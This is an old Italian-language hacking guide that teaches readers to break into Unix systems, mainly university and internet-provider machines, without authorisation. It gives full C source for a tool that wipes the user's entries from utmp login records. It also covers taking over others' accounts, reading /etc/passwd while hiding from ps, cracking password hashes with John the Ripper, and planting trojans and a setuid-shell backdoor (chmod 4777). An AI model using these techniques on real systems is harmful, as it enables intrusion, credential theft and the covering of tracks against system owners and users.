File scaricato dal sito www.AlexMessoMalex.cjb.net

Chiunque venisse in possesso di questa guida e la utilizzasse per scopi illegali non deve ritenere MaNdrAkE responsabile degli eventuali danni causati.
Io MaNdrAkE NON mi prendo nessuna responsabilità per l'uso che ne verrà fatto poichè questo testo è stato espressamente concepito per puro scopo informativo.

Allora, questa non vuole essere ne la guida definitiva all'hacking ne una sorta di "bignami" che insegna ad hackare il server pi- protetto in 2 lezioni. Questo file è solo un condensato contenente le basi per imparare ad hackare; non ha la pretesa ne vuole essere un tutorial "con le palle". L'unico motivo per cui ho scritto questa guida è per condensare e diffondere una sorta di base sui comandi unix e su come sfruttarli.

I programmi di cui avete bisogno sono:

1) linux (ovvio)
2) rootkit che rende disponibili numerosi sorgenti da compilare,necessari per nascondere le proprie tracce e per trovare i file shadow (poi vi spiego)
3) un psw cracker, l'ideale sarebbe il john the ripper v. 1.4
4) un buon libro sui comandi unix (la vostra nuova bibbia) oppure (se non volete comprare il libro) una buona guida sempre sui comandi unix è disponibile a: http://www.hackersclub.com/km/downloads/unix/unix.zip
5) il satan per linux, è un programma che gira sotto linux e che vi permette di esaminare le porte di un sistema remoto alla ricerca di eventuali falle.

Per cominciare, avrete bisogno di un account su un sitema unix.
Nel sistema dove avete l'account dovete combinare meno casini che potete ed è meglio che sia abbastanza legale, sarebbe ancora meglio se l'ammi- nistratore non vi conoscesse.
La cosa migliore per questo sono i sistemi universitari se avete un amico universitario fatevi dare con le buone o le cattive il suo account.
Se avete l'accesso NON ENTRARCI ANCORA! Createvi degli account su bbs che vi permettono di usare il telnet (come bbs.cosmosbbs.com) così sarete loggati con il loro ip e non il vostro. Fate inoltre una connessione telnet dentro lo stesso sitema unix, in modo da nascondere un po di pi- l'ip con cui ti sei loggato al vero propietario dell'account. Una volta che sarete dentro comportatatevi come un bravo user per un po, guardate poi se ci sono i seguenti comandi:

uucp
uux
tftp
telnet

(per cercarli fate per es. whereis uucp oppure find / -name uucp)

Guardate dentro ai seguenti file (sono le connessioni che il sitema unix ha con gli altri sistemi)

hosts.equiv
rhosts

(sono quasi sempre sotto la directory etc)

Guardate se avete permesso di scrittura sui files utmp,wtmp in genere solo sulle ver SunOS (questi sono i files dove loggano il vostro ip).
NON MODIFCATE ANCORA questi file anche se avete permesso di scrittura.
Se è così usate il file del rootkit che vi permette di nascondervi agli occhi dell'amministratore del sistema, il file in questione si chiama z2.

Per controllare se avete il permesso di scrittura fate:

#ls -l /etc/utmp ls è una specie di dir (DOS)
-l un parametro che permette di

di vedere i permessi di
scrittura in una directory

/etc/utmp la directory in cui è fatto
LS

Vi dovrebbe uscire:

-rw-rw-rw- root /etc/utmp Cio' vuol dire che avete permesso di
scrittura (w) e quindi potete
editare
il file utmp

Naturalmente sia quando si parla del rootkit che quando si parla di files sorgenti (come quello che trovate qui sotto) si parla di file che devono essere compilati, perchè altrimenti non possono essere usati. Per renderli utilizzabili non dovete far altro che usare il gcc.

Es: gcc nomedelfile.c

Se volete eliminare le vostre traccie potete anche usare il sorgente qui sotto (preso dal LOL (Legion of Lucifer Volume 2 Issue 01))

<----CUT HERE-------CUT HERE-------CUT HERE-------CUT HERE------CUT HERE---->

```
#include <stdio.h>
#include <stdlib.h>
#include <utmp.h>
#include <pwd.h>

#define UTMPFILE        "/etc/utmp"

        FILE    *utmpfile;
        char    *utmp_tmp[10240];

main (argc, argv)
        int     argc;
        char    *argv[];
{

        struct  utmp    *user_slot;
        struct  passwd  *pwd;
        char    line[10], name[10], host[20];
        int     index;

        printf ("Welcome to HIDE !        FORMAT:  hide [-i]\n\n");
        utmpfile = fopen (UTMPFILE, "r+");
        if (utmpfile == NULL)
        {
                printf ("ERROR while opening utmp file... exiting...\n");
                exit ();
        }
        index = ttyslot();                                              /*
Get this users utmp index */
        index *= sizeof(struct utmp);   /* 36 */
        fseek(utmpfile, index, 0);
/****  Get real UID  ****/
        pwd = getpwuid (getuid());
        if (pwd == NULL)
                printf ("Who the hell are you???");
        else
        {
        printf ("Real user identity:\n");
        printf ("NAME  %s\n", pwd->pw_name);
        printf (" UID  %d\n", pwd->pw_uid);
```

```
        printf (" GID  %d\n\n", pwd->pw_gid);
        }
/****  If ARG1 = "-i" then disappear from utmp  ****/
        if ( (argc>1) && (!strcmp(argv[1], "-i")) )
        {
        index+=8;       /* Rel PNT name */
        fseek(utmpfile, index, 0);
        fwrite ("\000", 8, 1, utmpfile);        /* NO NAME */
        fwrite ("\000", 8, 1, utmpfile);        /* NO HOST */
        fclose(utmpfile);
        printf ("Removed from utmp\n");
        exit();
        }
/****  Change utmp data  ****/
        printf ("Enter new data or return for default:\n");
        fseek(utmpfile, index, 0);      /* Reset file PNT */
        fread(line, 8, 1, utmpfile);    line[8]=NULL;
        fread(name, 8, 1, utmpfile);    name[8]=NULL;
        fread(host, 16, 1, utmpfile);   host[16]=NULL;
        fseek(utmpfile, index, 0);      /* Reset file PNT */
        dinput (" TTY  [%s]%s", line, 8);
        dinput ("NAME  [%s]%s", name, 8);
        dinput ("HOST  [%s]%s", host, 16);
        fclose(utmpfile);
}

/* Data input */
dinput (prompt, string, size)
        char    *prompt;
        char    *string;
        int     size;
{
        char    input[80];
        char    *stat;
        char    space[] = "                                ";

        space[20-strlen(string)] = '\000';
        printf (prompt, string, space);
        stat = gets (input);
        if (strlen(input) > 0)
                fwrite (input, size, 1, utmpfile);
        else
                fseek (utmpfile, size, 1);
}
```

<-----CUT HERE-------CUT HERE-------CUT HERE-------CUT HERE------CUT HERE----->

COME PRENDERE IL FILE DI PASSWD

ATTENZIONE NON DOVETE ASSOLUTAMENTE FARE:

cat /etc/passwd

perchè se l'amministratore vi sta controllando siete mezzi fottuti, inoltre egli puo vedere quello che fate con il comando:

ps -u nomelogin

Il bello è che anche voi potete fare altrettanto.

Se volete prendere il file delle passwd del sistema fate:

cat < /etc/passwd

(e non cat /etc/passwd)

così anche se il root vi controlla con il ps vedrà che avete eseguito solo cat e non cat /etc/passwd (è un trucchetto che funziona sempre). Se potete usare il tftp allora questo vi servirà per hacking futuri

collegandovi al sito che volete e facendo get /etc/passwd (deve essere un sistema unix o simili). Se potete usare z2 naturalmente potete lasciar perdere l'aspetto di coprire il vostro ip pero ricordatevi di usarlo appena entrati nel sistema (così se l'amministratore manda un who non vi vede). Se seguirete questi consigli limiterete di molto il rischio; se vi capita di avere accesso da root e quindi potete scrivere e modificare quello che volete mi raccomando di NON CANCELLATE IL FILE DELLE PASSWORD e non combinare casini limitatevi ad installare una backdoor.
Attenzione: nell 99% dei casi il file con le pass sarà in forma shadow, questo vuol dire che non è dentro alla dir /etc/passwd ma è in una qualsiasi delle directory del sistema quindi dovrete usare comandi specifici per trovarlo.

Ora, mi direte, ma come faccio a capire se questo è un file con shadow oppure no? Semplice ecco come fare:

Una volta effettuato il cat dovrebbe uscirvi una serie di righe simili a queste:

```
root:*:0:0:Super-User:/:/bin/sh
guest::12:7:Guest User:/home/guest:/bin/rsh
ruttolo:Ej258CFLeuQjg:10:2600:Sig. Rutto:/usr/rut:/bin/sh
```

Ora potrebbe sembrarvi turco, ma ecco come fare per capire un po' di quello che vi è appena apparso in video, infatti il file psw è impostato secondo uno schema ben preciso, ad ogni riga corrisponde un user.
Ogni user ha dei paramentri da rispettare che sono:

```
name:passwd:userID:groupID:nome:homedir:shell
```

name: il nome dell'user
passowd: la pass x accedere con il suo login
userdID: il numero dell'user
groupID: il gruppo dell'user
nome: il nome del tizio
homedir: la dir a cui accede quando si collega al server
shell: la sua shell

Una volta scaricato il vostro file pass vorrete impossessarvi dei login e relative pass. Quindi bando alle ciance ora vi spiego come fare. Nel caso dell'user root non si puo' fare nulla (potete tranquillamente iniziare a ringhiare) perchè a quell'account corrisponde una pass shadow situata chissà dove nel server. L'utente guest invece non ha pass, questo vuol dire che potete connettervi al sito con login: guest e lasciare vuoto il campo della pass, mentre l'utente ruttolo :) ha una pass criptata con il metodo DES, questo vuol dire che potrete accedere al server come utente ruttolo se sarete così bravi da cracckare la pass. Per farlo avete 2 metodi:

1) usare un passwd cracker (come il John The Ripper o il CrackerJack) e una word list e sperare che l'utente Sig. Rutto utilizzi una pass contenuta nella vostra wordlist.
2) impostare il John The Ripper secondo il metodo detto incremental. Cio vuol dire che il john proverà tutte le combinazioni di carattere ASCII da 33 a 128. Fino a trovare una pass adatta. Visto che questo processo se eseguito senza un criterio logico potrebbe impiegare delle settimane vi conviene restringere il campo ad alcuni determinati caratteri (per esempio escludendo dalla ricerca i caratteri numerici tipo 12345 perchè difficilmente usati per le pass) e riducendo le lettere di cui sono composte le parole (esempio min: 4 max: 7) infatti le pass pur avendo una dimensione massima di 8 lettere nella maggior parte dei casi sono composte da 4-5 lettere.

Se il file è shadow provate con:

```
ypcat /etc/passwd
```

Oppure potete compilare qualche sorgente apposito (si trovano sempre nel rootkit).
Se state facendo hacking via ftp cercate una dir dove avete permesso di scrittura e metteteci dentro un cavallino di troia o un qualcosa del

genere....

COME FACCIO SE NON MI FUNZIONA IL CAT?

In molti casi non potrete utilizzare il comandi cat (sarebbe troppo bello) ma potrete sempre sperare di trovarvi in un sistema "buggato". Cosa vuol dire questo? Semplice...il sistema ha un "bug" che vi permette di assumere un accesso di root. Come faccio a capire se il sitema ha un bug? Beh nulla di pi- semplice, fate un "ver" e vedrete su che sistema state lavorando.
A questo punto cercate un eventuale bug tra i numerosi siti pirata in cui sono elencati per sistema operativo. Una volta trovato il bug adatto alle vostre esigenze vi conviene scaricarvi il file di testo contenente tutte le info riguardanti il caso. Creare un file .c seguendo la spiegazione del file.txt che avete tirato gi- dal sito pirata. Attenzione:il fatto che quel particolare sistema operativo abbia un bug che vi permetterebbe di guadagnare l'accesso come root NON vuol dire che voi effettivamente possiate comportarvi come root.
Infatti in alcuni casi (non nella maggioranza per vostra fortuna) il sysadmin si procura delle patch (http://www.cert.org) che correggono il problema. Molto noti e pericolosi sono gli Imap Exploit,i Bug del SendMail o del OS (operating sistem).
Se desiderate avere a disposizione un testo contenente un elevato numero di bug ed exploit vi consiglio di procuravi l'Hackers-kit disponibile (in inglese) mandando un'email a: ii@dormroom.pyro.net
Ripeto, nella maggior parte dei casi il gestore del sistema non si preoccupa della scoperta di eventuali bug, anzi proprio se ne frega della sicurezza. Quindi se voi hackate un sito importante probabilmente questo sarà protetto mentre se hackate università o siti di provider locali non dovrebbero sorgere particolari problemi. Gli unici siti di carattere "istituzionale" difficili da "lavorare" ritengo siano quelli del CNR e del Polito. Questo vuol dire che entrare nel loro sistema è difficile ma non impossibile. Comunque ribadisco che nella maggior parte dei casi se vi limiterete a installare un user in pi- (alle uni) e a copiare i file psw (nel caso dei provider) non vi dovrebbe succedere nulla di pericoloso.
Addirittura io posso dirvi che ho amici che hanno hackato provider e installato backdoor e bot per irc oppure hanno aggiunto user a siti universitari senza che i gestori se ne siano mai accorti. Certo è che se vi mettete a uploadare 200mg di warez i gestori se ne accorgono.

LE BACKDOOR

Per prima cosa, forse non tutti sanno cosè una backdoor: eccovi quindi una breve spiegazione.
Una backdoor non è altro che un file modificato (generalmente quello di login) che vi permette di collegarvi e lanciare particolari comandi senza il bisogno di conoscere la pass di root funzionante in quel momento sulla macchina remota e senza essere loggati.

Le backdoor.... sono un problema. La cosa migliore è ricompilare i comandi cercando i sorgenti modificandoli come volete (cosa che non tutti sono in grado di fare). Tuttavia qui dovete affinare voi una tecnica.

Potete fare in 2 modi:

1) andate su http://www.rootshell.com e ne prendete una adatta allo scopo
2) ricompilate il programma login con una backdoor o vi inventate qualcosa d'altro; una funzione importantissima in c per queste cose è la system() per esempio:

```
system("chmod 4777 /home/user1/sh");
```

oppure usate l'execv e derivati che fanno la stessa cosa ma si usano per i progrogrammi.

Un ringaziamento speciale a InfectedM che mi ha "iniziato" all'arte dell'hacking, a PigPen mio maestro nonchè autore della maggior parte del testi che qui trovate adattato e integrato e a quadra simpatico amico

perennemente bannato da #hackers.it.

Se volete incontrarmi potete mandare una email a: MaNdrAkE@deathsdoor.com oppure fate un /join #hackers.it (IRCNet) con il mIRC.

Un ultimo e sentito ringraziamento (Fk) alla Telecom per la targa di "Utente dell'anno" (che probabilmente mi arrivera a casa tra breve) a causa dei miei 35.000 scatti accumulati nel corso di un'anno di chattate in irc e a fare trasferimenti di files warez.**

MaNdrAkE